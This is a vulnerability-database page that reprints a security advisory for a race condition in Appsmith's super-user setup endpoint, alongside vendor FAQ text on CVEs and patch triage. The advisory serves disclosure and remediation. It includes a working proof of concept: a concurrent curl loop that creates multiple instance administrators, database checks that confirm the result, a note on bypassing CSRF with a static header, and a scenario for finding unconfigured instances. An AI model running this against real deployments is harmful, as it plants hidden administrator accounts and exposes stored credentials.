How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,427

Total vulnerabilities in the database

Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators — com.appsmith / server

Time-of-check Time-of-use (TOCTOU) Race Condition

Summary

The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.

Severity

CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)

Affected Version

Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
Docker image: appsmith/appsmith-ce:release (pulled 2026-02-25)
Commit: 55ac824f8d42f934cc7a69f8abc52880a6ad39ef

Root Cause

The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:

// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
    .flatMap(isEmpty -&gt; {
        if (!Boolean.TRUE.equals(isEmpty)) {
            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
        }
        // Step 2: ACT — create user and grant admin (not atomic with Step 1)
        return signupAndLogin(user, exchange);
    })
    .flatMap(user -&gt; userUtils.makeInstanceAdministrator(List.of(user)));

The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:

public Mono&lt;Boolean&gt; isUsersEmpty() {
    return queryBuilder()
            .criteria(Bridge.or(
                    notExists(User.Fields.isSystemGenerated),
                    Bridge.isFalse(User.Fields.isSystemGenerated)))
            .limit(1).all(IdOnly.class).count().map(count -&gt; count == 0);
}

There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.

Proof of Concept

Environment Setup

# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize

Step 1: Verify Fresh State

curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {&quot;data&quot;: {&quot;email&quot;: &quot;anonymousUser&quot;, ...}}

Step 2: Send Concurrent Requests

for i in $(seq 1 10); do
  curl -s -o /tmp/race_result_${i}.txt -w &quot;%{http_code}&quot; \
    -X POST http://localhost:9090/api/v1/users/super \
    -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
    -H &quot;X-Requested-By: Appsmith&quot; \
    -d &quot;email=racer${i}@evil.com&amp;password=TestP4ssw0rd!&amp;name=Racer${i}&amp;allowCollectingAnonymousData=false&quot; &amp;
done
wait

# Check results
for i in $(seq 1 10); do
  echo &quot;racer${i}: $(cat /tmp/race_result_${i}.txt)&quot;
done

Step 3: Verify in MongoDB

// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh &lt;connection_string&gt;

// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })

// Check who has manage:users permission
db.user.find(
  { isSystemGenerated: { $ne: true } },
  { email: 1, &quot;policies.permission&quot;: 1 }
).forEach(u =&gt; {
  const hasManage = u.policies?.some(p =&gt; p.permission === &quot;manage:users&quot;);
  printjson({ email: u.email, manage_users: hasManage });
});

// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
  { name: &quot;Instance Administrator Role&quot; },
  { assignedToUserIds: 1 }
);

Observed Results

| Metric | Expected | Actual | |--------|----------|--------| | Users created | 1 | 10 | | Users with manage:users policy | 1 | 10 | | Users in Instance Administrator Role | 1 | 2 |

All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.

Impact

Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
Full Instance Compromise: Instance Administrator privileges grant:
- User management (create, delete, modify all users)
- Access to all datasource credentials (database passwords, API keys)
- Modification of all applications and their server-side logic
- Environment configuration (SMTP, OAuth, encryption settings)

Attack Scenario

Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
Attacker polls GET /api/v1/users/me — if the response contains "email": "anonymousUser", the instance has not been set up yet.
Attacker sends multiple concurrent POST /api/v1/users/super requests.
Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
Attacker now has persistent, full administrative access to the instance.

Suggested Fix

Option A: MongoDB Transaction (Recommended)

Wrap the check-and-create in a MongoDB transaction to ensure atomicity:

public Mono&lt;User&gt; signupAndLoginSuper(...) {
    return reactiveMongoTemplate.inTransaction().execute(session -&gt; {
        return userService.isUsersEmpty()
            .flatMap(isEmpty -&gt; {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(new AppsmithException(
                        AppsmithError.UNAUTHORIZED_ACCESS));
                }
                return signupAndLogin(user, exchange);
            });
    }).single()
    .flatMap(user -&gt; userUtils.makeInstanceAdministrator(List.of(user)));
}

Option B: Distributed Lock

Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:

public Mono&lt;User&gt; signupAndLoginSuper(...) {
    return redisLockService.acquireLock(&quot;super-user-setup&quot;, Duration.ofSeconds(10))
        .flatMap(lock -&gt; userService.isUsersEmpty()
            .flatMap(isEmpty -&gt; {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(...);
                }
                return signupAndLogin(user, exchange);
            })
            .doFinally(signal -&gt; lock.release()));
}

Option C: Unique Constraint

Add a MongoDB unique partial index that prevents more than one super admin:

db.user.createIndex(
  { &quot;isSuperAdmin&quot;: 1 },
  { unique: true, partialFilterExpression: { &quot;isSuperAdmin&quot;: true } }
);

CSRF Note

The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.

Published: Jun 12, 2026
Updated: Jun 13, 2026
GHSA: GHSA-9wcp-79g5-5c3c
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-367

Affected Software
References

Software	From	Fixed in
com.appsmith / server	-	1.99

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.